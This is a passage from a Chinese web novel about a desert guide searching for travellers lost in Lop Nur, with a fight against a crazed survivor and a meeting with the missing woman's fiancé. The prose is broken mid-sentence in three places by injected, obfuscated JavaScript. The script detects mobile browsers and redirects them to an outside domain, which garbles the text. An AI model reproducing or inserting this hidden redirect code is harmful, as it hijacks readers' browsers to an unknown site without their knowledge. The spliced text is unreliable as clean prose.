莫饥听话地又看了一遍,依旧是那个回复:“我们虽然大部分时间在车上,靠对讲机通话,但平常吃饭什么的还是凑在一起的。那对兄弟确实不在里面。”他顿了顿,将画面翻回第二张照片,“其他几个人都是队伍里的人,但是第二个和第四个,我没见过,没有出现在这趟行程中。” “张强……卢里……”莫醉轻声念着名字。 “咦,名字是对的,那两个人就是叫这个,但他们不长这个样子啊,难道整容了?还是说他们其实不是人,是鬼,冒用了活人的名字,避免被我们发现?” 莫饥哆哆嗦嗦,牙齿打颤话都说不利索。莫醉斜睨他一眼,冷笑道:“芝麻粒大的胆儿,还敢带队进罗布泊,谁给你的勇气?梁静茹吗?” 莫饥抿着唇不说话。 这些话虽然天马行空胡言乱语,有一点是对的,确实有人冒用了他人的身份,但百分百是人,不可能是鬼。莫醉翻了翻车队出发前的合照,这俩人围着头巾带着墨镜,露出的皮肤还不到巴掌大,缩在角落根本看不清面容,确像是有意避让镜头。 此时事情的来龙去脉还未摸清,莫醉不想在这些细节上纠缠,引导着莫饥继续往下说:“这个时候应该还剩下七个人,四辆车。” 莫饥恍惚点头:“是,后来天亮了,我们几个人一齐去了黄维的帐篷,商量怎么办,那对年轻夫妻中的妻子,哭诉这几天的辛苦,坚持要求退出……其实这个时候,退出和继续前行,花的时间差不多,我们劝了很久,她坚持要走,只能妥协。他们夫妻开的车,一路上出了不少问题,为了避免遇到什么危险,司机王哥开车跟着他们一同返回,剩下的人继续前行。” 十五人的车队,到此时只剩下黄维夫妻坚持完成穿越行程,带着司机老李和莫饥四人继续前行。 不需要太多的描述,那位妻子崩溃的原因跃然于莫醉的脑海。 绵延看不到尽头的荒原戈壁,似乎每一个都不同但又似乎每个都相同的雅丹群,枯萎的植物残骸看不见任何生命的土地。 罗布泊的神秘吸引着一批又一批的冒险者,他们带着满满的憧憬靠近,有的沉迷于这里独有的辽阔与苍凉,有的望着漫天的沙土,难掩失望。 这都很正常。 莫醉从来都觉得,穿越罗布泊最艰难的,不是高温干旱,不是道路坎坷,而是要战胜每日相同的风景、无休止的颠簸和无聊到窒息的行程。 很多人崩溃在这一环节。 莫醉捏着手机一角,轻轻晃动着手机:“你刚刚说,gps和卫星电话都失灵了,你们开了很久,发现在绕圈圈?” 莫饥的思绪再次回到了那个黎明。 送走了三人,四人继续上路。两辆车,老李和莫饥领头,黄维夫妇跟在后方,按着他们的车辙印走。 初进罗布泊时,八辆车欢声笑语雄心壮志,对讲机几乎没有停歇的时候,短短几天,对讲机似乎失去了它的用途,车厢里安静到能听到彼此的呼吸声。 莫饥等人按照原定行程继续前行,老李开车,莫饥坐在副驾。从芦苇丛走出后,车辆经过了一片小型雅丹,其中有一个长得像是尼玛堆,高高耸立,鹤立鸡群。 初时,莫饥觉得有趣,还多看了几眼,可待第二次、第三次和它相遇时,事情变得诡异起来。 “李叔,这条路咱们是不是走过?”莫饥吞咽着口水,心中恐慌不断放大。 老李轻轻“嗯”了一声,神色明显凝重。他曾经出入过罗布泊多次,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372135|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敦煌圈子里小有名气,这次莫饥联系到他,说了黄维开得价高,他没多想便接了下来,谁知道会遇到这种怪事。 行程再次暂停,两辆车并排停下,隔着半敞开的窗户沟通。四人争执了很久,也没讨论出个结果。 风沙顺着空隙钻进车内,还是熟悉的土腥气,却似乎多了几分嘲笑的意思,嘲笑他们这群闯入者的不自量力。 天地肃静,万籁俱静。很长一段时间,四个人谁都没开口……开口又能说什么呢?没有经验,没有解决方法,只有无谓的争吵。 那时的莫饥怔怔望着前方,脑海中突然闪过莫醉的身影。 敦煌越野圈子里不少人有穿越罗布泊的经验,并以此为噱头,招揽各地越野爱好者,收取佣金,带队穿越罗布泊。 他们名声在外,仅靠一个名字吸引到来之不尽的客源,但在莫饥心中,没有一个能和莫醉相提并论。 只有莫醉可以一人一车,不带补给,不靠gps只靠直觉,在罗布泊里穿梭一个月,来去自如。 她曾经说过,罗布泊很大,历史很长,偶尔遇到点怪事,没什么可奇怪的,如果遇到怎么都走不出去的雅丹群,那就停下来睡一觉,总归也走不出去,不如睡饱上路,无论上的是哪条路。 莫饥将这个想法说出来,剩余几人竟然没有其他意见。前天晚上他们为了找突然失踪的人,忙了一夜,又在荒漠里绕了一天一夜,到这时确实累到了极点。几人没有扎营,在车上小憩,傍晚时再出发。所有导航产品全部失效,老李认了个方向,不看参照物开直线,半个小时左右,竟然真的开了出去。 “再后来的事你都知道了,我们又开了一夜,在沙地中陷车,叫天天不应叫地地不灵的时候你来了。”莫饥讲完了他的故事,开始追问莫醉的事,“你是专门进来找我的?” “算是吧。” 莫饥沉默片刻,试探开口:“外面是不是都在找我们?” 莫醉斜了他一眼:“你说呢?十三个人在罗布泊里失踪,多少年都没这样的大事故了。天气不好直升机飞不了,救援队只能估算了几个你们可能出现的范围,开车排查。” “我爸也知道了吗?” “你猜。” “你不是不接找人的活儿吗?” 莫醉斜睨着他:“钱够就行。有人出二十万,委托我找人,你是顺带的。” 莫饥倒吸了口冷气:“这么贵?找谁啊?队伍里的吗?” “嗯,是个姑娘,叫蔡思韵。” “我记得她,是个漂亮姑娘,长得和安琪拉似的。她是第二批离开的,和她三个同伴一起。她那个男朋友长得也秀气,两人站一起还挺配的。” “嗯,没想到这姑娘刚大学毕业。一开始她未婚夫找到我——”莫醉话说到一半,突然停住,意识到什么,“等等,你说她男朋友在车队里?” 莫饥不明所以:“对啊,他们一行四人,她和她男朋友一辆车,她男朋友的两个室友一辆车。” “她男朋友叫什么?是哪个?” “你刚刚还给我看过照片,就是那个姓边的,边洛阳。” 5. 捉奸 未婚妻在无人区里失踪,未婚夫千里奔赴,豪掷二十万重金寻人,未料到未婚妻竟然是和男朋友一起去的,而这个男朋友显然不是自己。 莫醉的八卦之魂熊熊燃烧,恨不能马上找到蔡思韵,将她扭送到季风禾面前,只求一个前排位置,近距离围观情侣撕扯肉搏。 绿帽子啊,无人区捉奸啊,兴奋啊,刺激啊! 这要是写成帖子发在某乎,点赞量要过万了吧? 莫醉喜滋滋的,枯燥乏味的无人区土路都变得鲜艳起来,和隔壁祁连山大草原似的,绿油油的。 皮卡继续向罗布泊深处驶去。 傍晚时又起了些风沙,日光再次被遮蔽。沙尘如薄纱般飞舞,轻拂过裸露的大地,瞧着温柔,与疾驰的皮卡相撞又是络绎不绝的细碎撞击声。好在这风沙不大,无需躲避,可继续前行。 莫饥和莫醉交替开车,莫饥开直线,莫醉靠直觉调整方向,到傍晚的时候,漫无目的的行程终于告一段落,莫醉有了新的发现。她表情凝重,掌着方向盘,借着最后一丝天光,将车停住一处雅丹群的外围。 “不要下车,不要睡觉,手电如果闪三下,立刻发动汽车,等我上车后立马走,不要管还有没有人。” 莫醉语速很快,说完看向一旁的莫饥,见他一副痴呆模样,气不打一处来。 莫家三兄弟,莫饥是最呆的一个,说好听点是乖巧,说难听点就是笨。莫穷小心思最多,莫病能最快理解人话,只有莫饥,反应总是慢半拍……不过也有好处,听不懂的他知道照做执行,出不了什么大问题。 车灯熄灭,皮卡被无边黑暗包围,与藏匿在其中的危险对峙。莫醉的手指在方向盘上无意识敲打,发出细微响声:“里面有人,有活的有死的,可能有危险可能没有,所以需要留你在这儿接应,千万皮紧点,不然咱俩都要交代在这。” “那我和你一起去,还能保护你。” “心领了。” 莫醉利落下车,穿好防风衣,将匕首别在腰后、方便抽拔的位置。她走得很快,踩着凹凸不平的沙土块,向雅丹群中走。 像是行走在一片虚无里,看不到前路,没有归途,更没有庇护所,只有灵魂与命运搏斗,等待天明。 莫醉步履轻巧,一举一动均未发出丝毫声响,如长居在这里的猫,极为机警,随时可给猎物致命一击。 确认走出足够远的距离,皮卡不会因她的动作而暴露位置后,莫醉打开手电筒,边走边向四周查看。手电筒的光束打在嶙峋山体上,光影错落,明暗分割,更显诡异, 远看矮小的雅丹靠近后仰头看不到顶,人站在旁边,渺小到极容易被忽略。莫醉打着手电四处看,也寄希望于还活着的人看到光束,能主动呼喊。 在远处时,莫醉可以感觉到这个方向有不止一个人的气息,靠近后却无法分辨具体方位,只能靠愈加强烈的味道,大致判断没有走错路。 又走了十几分钟,一颗小石子从高处坠落,正正好砸到莫醉肩膀,而后弹到地上,滚落着不见了踪影。 莫醉抬头向上看。 土褐色雅丹怪石嶙峋,向苍穹延伸,融化在黑夜中。一个年轻男人扶着风化的沙土块,悬停在半山腰。手电的光将他的身影投影在背后的雅丹山体上,被放大无数倍,如恶鬼露出尖锐獠牙。他没有动作,定定盯着莫醉,在惨白的灯光下,愈加狰狞。 四目相对,连风声都安静了不少。 饶是莫醉胆大,也被吓了一跳,缓和片刻,她借着光束辨认那人的脸,和脑海中的照片一一对比,确认是四个刚大学毕业的年轻人之一,叫周寻。 他们是第二批离开车队的,却是告别黄维后第一个遇到的。 周寻盯着莫醉,先开了口:“……你是来救援的?” 他站得比莫醉高,视线越过莫醉向远处延伸,有光线从沟槽中闪过,似乎真像救援的车辆。 莫醉手搭在腰上,一条腿微微后撤,斟酌着回答:“算是吧。你还好吗?其他人呢?” 周寻露出一个古怪的笑容,连连点头:“太好了太好了,我们被困好几天了,物资已经不够了,终于等到救援了,你等等,我这就下来。” 莫醉站在原地,微微仰头注视着他的动作,对他的话却是半信半疑。 大半夜的,一个被困无人区三天的人摸黑爬雅丹,这像是正常人能干出来的事吗? 天黑沙土地滑,周寻踉踉跄跄下山,比上山时狼狈了不少。好不容易下到地面,一身尘土,笑容讨好:“真麻烦你们了,还要进来救我……我们也不知道怎么回事,gps突然就失灵了,还以为要困死在这里。” 莫醉拉开一个安全距离,细细打量周寻,他眼下乌青明显,下巴胡茬清晰,嘴唇上死皮卷起,确实是受了难的模样。 “听车队的人说,你是和其他三个同伴一起离开的,他们人呢?” 周寻一顿,讪笑解释:“车坏了,物资不够,洛阳说我们最初陷车的地,离弃车的地方很近,那辆车里有一些没能带走的物资,还有修车工具,他和张腾去取,留我和他女朋友在原地,” 这个人员分配略有些奇怪,此时此刻却很是合理。姑娘家背不了太重的物资,三个大男人也不可能让一个姑娘去做这种体力活。可若边洛阳和蔡思韵留守,另外俩人又要担心他们修好了车,偷偷离开,不如干脆将小情侣分开,互相留个牵挂,更让人放心。 “既然你和蔡思韵都留在原地,她人呢?”莫醉四处张望,没看到人影也没看到车影,“不会被你藏在上面了吧?” “我们二人怕错过救援的人,交替休息,菜菜正在车里休息,我现在就可以带你过去。” 周寻表现得极为急切真诚,似乎并没说假话。 “那你爬那么高做什么?” “我想着,爬得高看得远,别人也更容易看到我。车上的物资不剩多少了,如果再等不到救援,我们怕是要变成孤魂野鬼了。” 这番解释倒是说得过去。 莫醉不再追问,像是信了他的这幅说辞——左右他说的是真是假都与她无关,她只要找到蔡思韵,无论死的活的,都算完成了季风禾的委托。 周寻搓了搓手上的尘土,又在衣服上蹭了几下,指了一个方向:“车就停在下面,我带你去。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372136|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夜黑风高,雅丹群内高低错落,周寻走在前面,脚步虚浮,好几次险些摔倒。莫醉上前扶住他的胳膊,自然而然滑到他的手腕,待他站稳后才松开手说:“小心。” 周寻仓皇道:“谢谢。” 莫醉不再说话,心中想的却是刚刚手指擦过他的手腕,感受到的脉搏,虽因虚弱而微弱不少,跳得依旧很快。 这人似乎隐瞒了什么事。 今夜无星无月,偌大雅丹群中,莫醉手中的手电是唯一的光亮。她落后周寻几步,手电随意甩着,光束如剑刺向不同的方向,无规律可循。周寻转过头瞧见她不紧不慢的模样,忍不住问:“你是一个人来的?” “嗯。” “你的车停在你来的方向?” 莫醉踢开地上的小石子,将手中手电调整方向,直冲着周寻的方向。周寻停住脚步,转过身看她,被手电的光照得睁不开眼,伸出手遮挡,皱眉道:“这光太刺眼了,能把手电挪开些吗?” 莫醉没搭理他,跟着停住脚步,微微抬起下巴:“想问什么直接问,别兜圈子。” 周寻吞咽了口口水,放下遮挡住眼的手,眯着眼睛在强光中辨认莫醉的身影,挤出个讨好的笑:“没什么……只是在这鬼地方呆久了,想要早些出去。你能将车子开过来,尽快带我出去吗?” 手电的光将周寻的身影完全包裹,让他的每一个动作每一个表情都无从遁形。他的表情僵硬,笑得比哭还难看,被红血丝包裹的双眼全是阴谋算计,偏偏毫无察觉,还以为能骗过对面的人。 莫醉看着他表演,实在懒得配合,挑眉道:“怎么,你以为我只是来救你的?” 周寻一怔:“难道不是吗?” “你们一行四人,我只救你和蔡思韵?”莫醉乐了,“你倒是心狠。”她挪开手电光,照向前方的黑暗,懒得多说,“别废话了,快走吧。” 周寻讪笑着点头,转过身的瞬间,笑意消散得一干二净。他抿紧嘴唇,盯着脚下虚浮的影子,下定决心,背光走入前方无边的黑暗。 绕过面前的雅丹,又拐了几个弯,莫醉终于看到前方停在平坦处的橙色越野。越野车前灯亮着,周围没有人,莫醉眯着眼睛向车内瞧,在副驾的位置上看到隐约人影,垂着头,不知生死。 莫醉意味深长:“这姑娘也是心大,同伴不在,一个人在无人区里,还能睡着。” “蔡蔡一直是个大大咧咧的姑娘。”周寻沙哑着嗓子解释。 莫醉担忧蔡思韵的情况,快步向前,越过周寻抢先一步赶到车边,拉开副驾驶的车门,一巴掌糊在蔡思韵的脖颈侧。 手下皮肤略微发烫,还有微弱的脉搏跳动,是个活人。 二十万到手了。 确认她还活着,莫醉终于有心情仔细看她的情况。 嘴唇干涩苍白,脸上发红,鼻尖额头起了层薄皮,分不清是干的还是晒的。脖颈处缠着围巾,戴得潦草,挤成一团堆在下巴下方。莫醉用手指微微压了下围巾,看到被遮掩住的掐痕,眉心一跳。 她正要说什么,耳后有细微风声袭来,她后知后觉想起,周寻已经很久没说话了。 6. 缘分 脑袋后面有劲风袭来,快而猛烈,吹得莫醉凌乱披在肩头的长发乱飞。 右侧是敞开的车门,前方是坐着人的越野车副驾,后方是周寻的攻击,只有左侧是唯一的缺口,可以逃生。 莫醉将手电咬住,没有任何犹豫,向左侧歪头折腰躲过周寻的攻击后,后撤一步,将身子向后压,腰部柔软如蛇,在空中划了个半个圈,再起身时已然直面周寻,拉开半臂距离,强光直射他的眼睛。 周寻被困在无人区中已有几天,浑身虚弱,脚步虚浮,加之被手电光直射,适应光线的功夫动作停了一瞬。他双手握着个千斤顶,哆哆嗦嗦,偏双眼全是恶念,带着几分癫狂的疯,口中自言自语,像是着了魔似的:“杀了你,只要杀了你,我就有食物了,我就能出去了。” 莫醉挑眉,心中却愈发警惕。 她不怕一个虚弱但理智尚存的人,却会警惕一个虚弱的疯子。疯子动起手来毫无章法,还不畏惧疼痛,比正常人难缠多了。 莫醉思索的这几秒,周寻再次挥舞着手中千斤顶向她袭来。大晚上的,夜风凉飕飕的,莫饥还在等她回去,她不想多纠缠,手攀住越野车顶部的行李架,脚在车门框上蹬了一下,借力腾空而起,一脚踢在他双手关节处。 周寻双手瞬间脱力,千斤顶被踢飞,落到一米外的沙土上,发出沉闷的响声。莫醉并不罢休,单脚踩在他的手肘弯曲处,松开握住架子的手,腰部用力,硬生生将身子撑起,而后跨坐到他的后脖颈,一手按住他的头顶,另一只手曲起指节,敲击他的太阳穴。 一套动作干净利落,毫不拖泥带水,周寻只来得及看到一只脏兮兮的运动鞋,之后有什么东西从他的眼前闪过,再然后,就什么都不知道了。 周寻身子软趴趴倒下,和他的千斤顶并排躺在一处。莫醉一跃而下,方免了同他一起摔在沙土地上的命运。 飞舞的发丝一根一根落下,荒野上呐喊的风安静了几分。莫醉站起身来,拍打着身上的尘土,将口中咬着手电吐出,握在手中。她正要松口气,一抬眼便看到不远处的一辆车,以及逆着车灯光向她走来的两个人。 手电的光打在他们身上,将他们的一举一动照得清清楚楚。走在前面的这人身姿颀长,穿着荧光色的冲锋衣,在荒漠中格外醒目。他的身形莫名熟悉,莫醉眯着眼看,瞧见那高挺的鼻梁和似笑非笑的眼,恍然想起,这不就是来旅店找她的那个改善沙漠环境的环保卫士吗! 刚刚只顾着和周寻干架,倒是没注意这俩人是什么时候来的,更不知道刚刚的事他们看到多少。莫醉将副驾的车门合上,站在车门前挡住二人的视线,等二人走到面前时,用脚踢了踢地上躺着的周寻,笑眯眯解释:“放心,人没死。我收着力呢,力度刚刚好,懵逼不伤脑。只是帮他平缓心情,让身体安静下来。估计一会儿就醒了。” 好一个平缓心情。 季风禾尚未说话,他身边的那人率先开口,嗓门极大:“刚刚我们都看到了,姑娘,你这身手太利落了,练过吧?” 莫醉这才看清季风禾身边那人的长相。比季风禾矮一些,身形圆润,花衬衫混搭牛仔外套工装裤。下巴上蓄着乱七八糟的胡子,头顶是蓬松的爆炸头,脸上是被西北风沙经年吹出的沧桑,和个流浪艺术家似的。 莫醉随口糊弄着:“幼儿园的时候混社会的,常去附近小学挑衅,那个时候练出来的。” 那人听出她的敷衍,倒也不恼,笑眯眯伸出手:“成坤。” “陈友谅。”莫醉嘴比脑子快,伸出手与他握了下,又解释道,“开玩笑的,我叫莫醉。” 成坤乐呵呵解释:“是乾坤的坤。” 季风禾站在一旁,视线扫过四周,悠悠道:“一个人来的?” 莫醉愣了一秒,才反应过来这人是在和她说话。 这叫什么话?她又没钱雇人,自然是一个人来的。莫醉颔首,不和金主爸爸争执:“你走了之后我就出发了,倒是没想到你也进来了。”她上前半步,拍拍他的肩膀,挤出个悲伤的表情,“我知道你对你未婚妻用情极深,可还是要节哀,要保持镇定,有什么情绪,出去之后再说。” 莫醉指的是季风禾被绿这件事,但季风禾显然误会了她的意思。 副驾车窗贴着防窥膜,黑漆漆的,什么都看不见。季风禾沉默一瞬,想起刚刚看到的人形轮廓,眯起眼睛:“死了?” “那哪儿能呢?”莫醉将手电搁到车顶上,从口袋里掏出手机,“你开一下蓝牙。” 季风禾没动作:“做什么?” “发你银行卡号啊。人找到了,还活着,二十万别忘了付。” 莫醉的手机已经用了许久,屏幕上碎痕和划痕交替遍布,早就不太灵敏。此刻屏幕上浮着尘土和沙粒,她戳了几下,见手机没有任何反应,熟练地将手机屏幕熄灭,在身上蹭了蹭,再打开时,终于能滑动屏幕。 她翻出一张照片,打开蓝牙传输,搜索附近的人,片刻后弹出一个新用户,“季”。 这名字规规矩矩板板正正,不失礼的同时几分疏离,应该就是季风禾的用户名了。 莫醉戳了戳屏幕上的“季”字,怕他赖账,嘀嘀咕咕道:“虽然你也赶到了这地方,但人是我先发现的,问题也是我先解决的,钱款要照付。我本来想把人给你送出去的,但既然你来了,你直接带走,我给你打个折,车辆损耗费和油钱就不用你付了。” 手机抖动了一下,季风禾低头看屏幕。 “神秘又迷人的大佬”向你投送一张图片,是否接受? 季风禾:…… 季风禾接收了照片,一瞬后屏幕上出现半张写了字的纸。纸张微微泛黄,像是从笔记本上随意扯下来的。纸上的字歪歪扭扭,勉强认出是银行名字和银行卡号,最后一行是户主的名字,莫仲磊。 他将照片存下:“怎么不是你的账户?” “莫仲磊是我哥,打到他的账上,便是打到我的账上。”莫醉不想多说此事,将手机插回屁兜里,又将车顶的手电筒收回,转身拉开了副驾的门。 不省人事的蔡思韵出现在几人面前。 莫醉将从莫饥处听到的故事中,和蔡思韵相关的部分简要转述,末了总结了几句:“你未婚妻和那个叫周寻的在这,但你未婚妻的男朋友——呃,男性朋友,那个叫边洛阳的,还有那个叫张腾的,目前不知所踪。” 成坤抢先一步走到副驾座位旁弯下腰,将蔡思韵脖颈处的围巾全部扯开,露出紫红色的掐很。他盯着仔细看了一会儿,时不时用手指触碰一下伤痕,逐渐严肃了表情。 “没生命危险,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372137|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昏过去了,加上有点发烧,这才一直没醒。最好能尽快把她送出去,去医院做个检查,排除一下脑损伤。” 莫醉扶着车门,举着手电给成坤打光,时不时偷瞄一眼一旁的季风禾。 他并未靠近,只站在几步外看着,表情平静,不悲不怒。 他一定是沉浸在巨大的悲痛中,不知该如何面对,只能佯装镇定,维持男人最后的尊严。 真是个可怜人啊。 季风禾注意到她的目光,微微侧眸:“怎么了?” 莫醉收起眼中的怜悯,给对面的人留足面子,随意道:“在想要怎么分配。”她转了下手腕,让手电的光照向几十米外停着的车,“两辆车,六个人,还有两个没找到,有点麻烦。” “你带了人来?” “半路遇到了莫饥,就顺便带上了。”莫醉站直身子,与车门分离,“这姑娘要尽快送出去,地上这个最好也尽快交给警察叔叔。” 此时已是子夜,风沙比刚刚大了不少。狂风穿越空旷的无人区,怒吼着咆哮着,几乎要震碎耳膜。此刻几人站在雅丹群边缘背风处,尚算安全,但若贸然开出这个安全区,失踪人数兴许又要增加几个。 莫醉眯着眼眺望远处,片刻后道:“今年天气怪,瞧这模样,后半夜风沙会变得更大。我建议你们给外界报个信儿,明早天亮再出发。你们四个人,刚好坐满一辆车。” 季风禾立刻明白了她不准备离开:“你要继续找剩下的两个人?” 莫醉叹了口气,摊摊手:“我都到这了,也不差再费最后这点油了,索性好人做到底,送佛送到西。” 本就是萍水相逢,季风禾并不多说:“好,注意安全。” - 莫醉将这边的烂摊子留给季风禾和成坤,潇洒挥手离开,赶在风沙变得更大,原路返回,找莫饥会合。 她穿过层层叠叠奇形怪状的雅丹群,边走边觉得事情隐隐有些不对,仿佛她忘记了什么事。莫醉晃着手电,时不时踢几脚地上无辜的小石块,直到走回皮卡附近,也没想起她究竟忘了什么,心情愈发烦躁。 皮卡停泊的地方正好在风口,不过一会儿的功夫,车上已积了一层沙土。前挡风玻璃被糊得彻底,看不清里面的人。莫醉溜溜达达走到跟前,用手擦出一小块干净的地方,让手电的光透过玻璃,直直打在莫饥的脸上。 莫饥被强光刺醒,揉了揉眼睛,推开车门含糊道:“姑,你回来了!” 莫醉几乎要被他气笑了:“大侄子,睡得可好?” 莫饥自知理亏,翻过扶手箱挪到副驾的位置上,将驾驶座的位置让出来:“姑,我太困了,一不小心就睡过去了……”他侧头看向莫醉身后,没瞧见任何人,疑惑道,“姑,你不是找人去了吗?可找到了?” 莫醉不和他客气,一屁股坐进车中,长舒一口气:“嗯,找到那四个大学生中的两个。” “都还活着?” “嗯。”古怪的感觉再次涌上莫醉的心头,她眯起眼睛盯着莫饥,“你问这个做什么?” 她的眼神太过可怕,是挨揍的前兆。莫饥咽了口口水,小心翼翼道:“不是你说的吗,这座雅丹群中有不止一个人,有活人有死人。可你刚刚又说,看到的两个人都是活人……那死人呢?死人又去了哪里?” 7. 腰窝 季风禾将车开到近处,与坏掉的越野车并排,两辆车间留了两三米的缝隙。又将昏迷不醒的蔡思韵换了个位置,从越野车的副驾搬到他的车后座上,安置好后合上车门。 成坤把地上不省人事的周寻捆成一个粽子,踹了几脚,见他毫无反应,砸吧砸吧嘴,感叹道:“小姑娘下手挺重的,太阳穴都肿了。你从哪找了这么一个厉害角色?你刚瞧见她那身手了吗?就借着胳膊肘子那拇指大点落脚地,就能腾空跳起来,这腰太有劲儿了。” 季风禾合上车门,抽出根烟咬在齿间,含糊道:“不是我找的。” 成坤乐了:“合着你不认识她啊?还想着让你搭根线,认识一下呢。” 成坤是季风禾几年前攀登珠穆朗玛峰时认识的朋友,这些年有一搭没一搭的联系。这次蔡思韵出了事,家里长辈让他来西北一趟,他落地敦煌后,想起前几天刷到成坤的朋友圈,定位就是在敦煌,立刻联系了他。 这人游走在大江南北,什么没人的地儿都敢往里钻,野外生存经验丰富,正适合来无人区找人。 季风禾背过身挡住风,拨开打火机点了火,片刻后吐出一口烟,淡淡道:“我不认识她,只能算有点渊源。你要是想认识,自己想办法。” “那倒是好。”成坤乐呵呵的,“这姑娘就算看不上我,当个朋友也是好的。以后遇到什么事,说不定就能搭上把手。” “就怕不是搭把手,而是惹一堆麻烦。”季风禾微微抬起下巴,示意他看向远方,“你的机会来了。” 不远处,皮卡从黑暗中驶出,从混沌转为清晰。车前大灯让无形风沙无从遁形,如千万只乱飞的小虫,被冲散,坠落到地面,与尘土融为一体。 皮卡渐渐驶近,到两辆车后几米的位置停下。莫醉熄了火,从车上跳下,关门时力度颇大,震得车前盖上沙石震颤。她还穿着刚刚的衣服,散乱的长发被随意绑起,眸色沉沉,大步向前,分不清是杀气还是戾气。 成坤热情招呼:“莫姑娘怎么回来了?” 莫醉瞥了一眼被五花大绑的周寻,又看了一眼靠着越野车,正吞云吐雾,姿态闲适的季风禾,随口道:“我和我大侄子今晚也要在附近过夜,有点怕,干脆找你们搭个伙。” “那敢情好。”成坤仿佛没听出她的玩笑和敷衍。 莫醉的视线扫过四周,最后落在周寻几人开着的那台越野车的后备箱上。 越野车出了故障,无法启动,莫醉在后备箱附近摸了摸,没找到机械钥匙孔,转去拉后座车门。车门无阻碍拉开,她一头钻进车厢中,跪在后座上,将半截身子越过座椅背送入后备箱,伸长胳膊翻找着什么。 这一连串不停顿的动作震惊到了成坤,他用胳膊肘戳了戳一旁的季风禾,嘀咕道:“这是在找什么呢?” 季风禾的目光落在莫醉因衣服上滑,露出的两个腰窝上,停顿一瞬后方才挪开。手指间的烟还剩大半,却在一瞬间淡了味道。季风禾没了继续抽的兴致,拉开车门,将烟头捻灭在车中的小烟灰缸里,淡淡道:“好奇就去问。” 成坤挠挠头,竟露出些许羞赧:“这不刚认识么,多冒昧啊。” 季风禾懒得搭理他。 他靠坐在驾驶座上,姿态闲适,长腿微微屈着,踩着车外的沙土地。他的右肘虚搭在方向盘上,拇指不停拨弄着手中的打火机,垂眸看打火机的光亮了又灭,灭了又亮。 烟草气还未散尽,与土腥气混合交融,此刻又多了一丝丝火油的味道,竟也不突兀。 俩人并未压低说话的声音,隔壁车里的莫醉自然听到了他们的谈话。 后备箱没有她猜测的尸体,她不再耽搁,利落钻出车子时顺手拎出半桶汽油,随口扯了个谎:“反正这车也用不到了,汽油我带走了。” 她的视线扫过对面两人,最后停在季风禾的耳垂上。 他的耳垂干净莹润,中央的地方有个小小的黑点,像是一颗黑曜石耳钉。明明是光线昏暗的夜,这颗不起眼的耳钉却分外显眼,吸引了她的全部目光。 季风禾注意到她的视线:“怎么?” 莫醉捏了捏自己干净的耳垂,称赞道:“耳钉挺别致的。” “是痣。”季风禾解释。 莫醉“哦”了一声,跟着又补了一句:“那也挺别致的。” 成坤看看莫醉,又看看季风禾,眼睛滴溜溜转,若有所思。他正要劝莫醉几句,莫要在有家室的人身上浪费时间,就看到那姑娘挥挥手,爽朗道:“走了,钱别忘了打。” 而后头也不回地离开,没有半分留恋。 - 莫醉拎着顺来的汽油,溜溜达达钻回几米外的皮卡。 莫饥一直在副驾上坐着,乖乖巧巧,见她返回,忍不住问:“姑,这俩人是谁?” “送财童子。”莫醉熄了火,关掉车内所有灯光,让整辆皮卡隐在黑暗中。她放倒座椅,躺下后伸出手,从后座座位底下翻出俩小面包,扔给莫饥一个,撕开塑料包装,咬了一口,含糊道,“休息吧。明儿个还要早起去找人呢。” 见她不愿意多说,莫饥也不多问,捏着手中鼓鼓的小面包,嘟囔道:“睡觉之前吃面包,会长蛀牙。” 莫醉最烦这人磨磨唧唧黏黏糊糊的劲儿,将小面包全部塞到嘴里,又翻出两根火腿肠,在他面前挥舞了一下:“要不要?” “……要。”莫饥接过火腿肠,小心翼翼撕开,讨好地递给莫醉,换了那根没打开的。 莫醉满意极了。 她啃了口火腿肠,视线透过前挡风玻璃,偷偷瞄着不远处的两个人。 季风禾和成坤顶着越来越大的风,将周寻抬到坏掉的那辆车的后座。成坤跟着钻入车的副驾,指着隔壁满配的“豪车”不知说了些什么。季风禾将车门关上,不想听他的嘀咕,转身时向莫醉的方向看了一眼,而后上了车。 车外再无人逗留。 莫醉三下五除二将火腿肠塞到嘴里,合上了双眼。 这一夜,莫醉睡得很踏实,再睁眼时神清气爽。 前挡风玻璃被风沙糊得严严实实,看不见外面的情况,莫醉将座椅调直,按下车窗。 没了玻璃的遮掩,天地终于清晰起来。 风沙已停歇,天色将亮未亮,是被灰色包围的蓝。视线向远处延伸,越过毫无起伏的荒野,天际处仿佛一条笔直的线,将沙土和雾蓝的苍穹分割。罗布泊里一片静谧,听不见任何声响,亦瞧不见任何活物,偶尔有干枯 